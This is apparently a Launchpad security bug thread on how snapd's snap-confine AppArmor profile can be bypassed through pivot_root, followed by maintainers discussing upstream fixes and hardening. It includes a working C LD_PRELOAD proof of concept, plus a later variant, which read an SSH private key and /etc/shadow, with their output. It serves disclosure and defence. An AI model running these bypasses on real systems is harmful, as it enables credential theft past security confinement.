path-based AppArmor controls for snap-confine are ineffective due to pivot_root

[Jann Horn (corp account)]

snapd ships with an AppArmor policy for the setuid binary /usr/lib/snapd/snap-confine: https://git.launchpad.net/snapd/tree/cmd/snap-confine/snap-confine.apparmor.in

This AppArmor policy carefully and explicitly whitelists very few filesystem
locations ("We run privileged, so be fanatical about what we include and don't
use any abstractions"), but it also permits unconstrained "pivot_root".
This means that the path-based restrictions are somewhat useless because the
root-privileged process can pivot around the mount tree such that the
entire original mount hierarchy lands under a whitelisted path.

Demo:
================
user@ubuntu-18-04-vm:~$ cat preload_p.c
#define _GNU_SOURCE
#include <sys/mount.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>

void try_open(char *path) {
  int fd = open(path, O_RDWR);
  if (fd != -1) {
    printf("success: %s\n", path);
    char buf[10];
    int res = read(fd, buf, sizeof(buf)-1);
    if (res <= 0) {
      perror("read from %s");
    } else {
      buf[res] = 0;
      printf("read got: \"%s\"\n", buf);
    }
  } else {
    printf("fail: %s (%m)\n", path);
  }
}

void write_file(char *path, char *data) {
  int fd = open(path, O_WRONLY);
  if (fd == -1) err(1, "open %s", path);
  if (write(fd, data, strlen(data) != strlen(data)))
    err(1, "write %s", path);
  close(fd);
}

__attribute__((constructor)) static void entry(void) {
  printf("constructor running from %s\n", program_invocation_name);
  try_open("/home/user/.ssh/id_rsa");
  uid_t uid = geteuid();
  uid_t gid = getegid();
  if (unshare(/*CLONE_NEWUSER|*/CLONE_NEWNS)) err(1, "unshare");
  if (mount("none", "/", NULL, MS_REC|MS_SLAVE, NULL)) err(1, "rslave prop");
  char buf[1000];
  //sprintf(buf, "0 %d 1", uid);
  //write_file("/proc/self/uid_map", buf);
  //sprintf(buf, "0 %d 1", gid);
  //write_file("/proc/self/gid_map", buf);
  //write_file("/proc/self/setgroups", "deny");
  if (mount("none", "/var/lib", "tmpfs", MS_NODEV|MS_NOSUID, "")) err(1, "mount");
  if (mkdir("/var/lib/var", 0777)) err(1, "mkdir");
  if (mkdir("/var/lib/var/lib", 0777)) err(1, "mkdir");
  int pvr = syscall(__NR_pivot_root, "/var/lib", "/var/lib/var/lib");
  if (pvr == 0)
    printf("pivot_root success\n");
  else
    perror("pivot_root");
  try_open("/var/lib/home/user/.ssh/id_rsa");
  exit(0);
}
user@ubuntu-18-04-vm:~$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libc.so-preload preload_p.c -fPIC && sudo chmod u+s /usr/lib/x86_64-linux-gnu/libc.so-preload && LD_PRELOAD=libc.so-preload /usr/lib/snapd/snap-confine
constructor running from /usr/lib/snapd/snap-confine
fail: /home/user/.ssh/id_rsa (Permission denied)
pivot_root success
success: /var/lib/home/user/.ssh/id_rsa
read got: "-----BEGI"
user@ubuntu-18-04-vm:~$
================

[Jann Horn (corp account) (jannh)]

[explicitly adding people from the related email thread]

By the way, to Ubuntu's security team: This doesn't seem to be the only place where AppArmor policies permit unconstrained pivot_root; you may want to look through other policies for broad whitelisting of pivot_root.

[Jann Horn (corp account) (jannh)]

(The reason why SELinux doesn't have such issues is that SELinux works with filesystem-root-relative paths instead of namespace-root-relative ones, so the mount hierarchy has no effect on security controls, apart from security labels that are set via mount options.)

[John Johansen (jjohansen)]

Indeed currently if pivot root is allowed it can be used to subvert apparmor policy. This is a known issue to apparmor upstream. There are plans to fix this in apparmor upstream. At the moment there is nothing snappy can do except maybe move from pivot_root to chroot which is currently better handled by apparmor.

[Jann Horn (corp account) (jannh)]

Alright, if it's a known issue, this bug report can be changed to "Public" type, right?

[John Johansen (jjohansen)]

yes, thanks for the reminder

[Jamie Strandboge (jdstrand)]

Reassigning to apparmor. When fixes are available there, we'll take a look at updating snap-confine's policy.

[Zygmunt Krynicki (zyga)]

Hello

I'd love to be in the loop of understanding how apparmor plans to handle pivot vs chroot going forward. As Jamie surely knows snap-confine uses pivot-root precisely because of how it is handled by apparmor. In my eyes it is a feature that allows us to craft a policy describing the view inside the mount namespace we construct. If suddenly the view will depend on the configuration of the host we initially transform from then we need to take this into account.

Are there any public plans on how apparmor upstream plans to support this?

[John Johansen (jjohansen)]

The plans have been discussed several places. There isn't a canonical reference atm. But the basics are below

Basically apparmor is going to have to track pre and post pivot root. Policy will have some options open to it.

1. transition to policy designed for within pivot_root
2. keep current policy and define how post pivot_root policy is to be transformed.
3. combine 1 & 2 via stacking. So both solutions can be used similtaneously

Basically, when a new mount ns is created there is going to be a new shared var used for transforms. Policy will define how this is updated on pivot_root and also control which parts of the stack it applies to. It will be possible (though strongly NOT recommended) to keep the current behavior so that current policy does not break on kernel upgrade.

What apparmor need to do this is some new hooks around namespaces and pivot_root. Hopefully we can get these landed soon.

[Jamie Strandboge (jdstrand)]

I took another look at this for hardening the snap-confine profile and reconfirmed that even adding a rule like so:

# pivot_root mediation in AppArmor is not complete. See LP: #1791711
#pivot_root,
pivot_root oldroot=/tmp/snap.rootfs_*/var/lib/snapd/hostfs/ /tmp/snap.rootfs_*/,

is not sufficient and still allows bypassing the profile since a user could modify the reproducer to use:
...
  if (mount("/tmp/snap.rootfs_BAD", "/tmp/snap.rootfs_BAD", NULL, MS_BIND, NULL)) err(1, "mount");
  int pvr = syscall(__NR_pivot_root, "/tmp/snap.rootfs_BAD", "/tmp/snap.rootfs_BAD/var/lib/snapd/hostfs");
  if (pvr == 0)
    printf("pivot_root success\n");
  else
    perror("pivot_root");
  try_open("/var/lib/snapd/hostfs/etc/shadow");
...

then do:
$ mkdir -p /tmp/snap.rootfs_BAD/var/lib/snapd/hostfs
$ sudo gcc -shared -o /usr/lib/x86_64-linux-gnu/libc.so-preload preload_p.c -fPIC && sudo chmod u+s /usr/lib/x86_64-linux-gnu/libc.so-preload && LD_PRELOAD=libc.so-preload /usr/lib/snapd/snap-confine
constructor running from /usr/lib/snapd/snap-confine
fail: /etc/shadow (Permission denied)
pivot_root success
success: /var/lib/snapd/hostfs/etc/shadow
read got: "root:!:17"

and therefore subvert the profile.

That said, a normal user isn't going to be able to create a setuid library in a root-owned path which allows LD_PRELOAD to work with the setuid snap-confine. Therefore subverting the profile in this exact manner would need to be combined with another vulnerability on the system. I realize the POC is meant to demonstrate what can happen when snap-confine is fully under attacker control, and while I look forward to when we have full pivot_root mediation in apparmor so we can address this bug, I still consider the profile a useful hardening measure since even if snap-confine were under full attacker control, it is still limited by the profile. As such, to add a little more hardening, I'm considering adding this:

# pivot_root mediation in AppArmor is not complete. See LP: #1791711. However,
# we can mediate the new_root and put_old to be what we expect, and then deny
# directory creation within old_root to prevent trivial pivoting into a
# whitelisted path
audit deny /tmp/snap.rootfs_*/{var/,var/lib/,var/lib/snapd/,var/lib/snapd/hostfs/} w,
pivot_root oldroot=/tmp/snap.rootfs_*/var/lib/snapd/hostfs/ /tmp/snap.rootfs_*/,

This doesn't address the modified POC since, again, a user could create /tmp/snap.rootfs_BAD/var/lib/snapd/hostfs, but it would at least prevent snap-confine itself from being able to create the old_root. Note, the explicit deny is just to ensure a rule isn't added that would undo the hardening.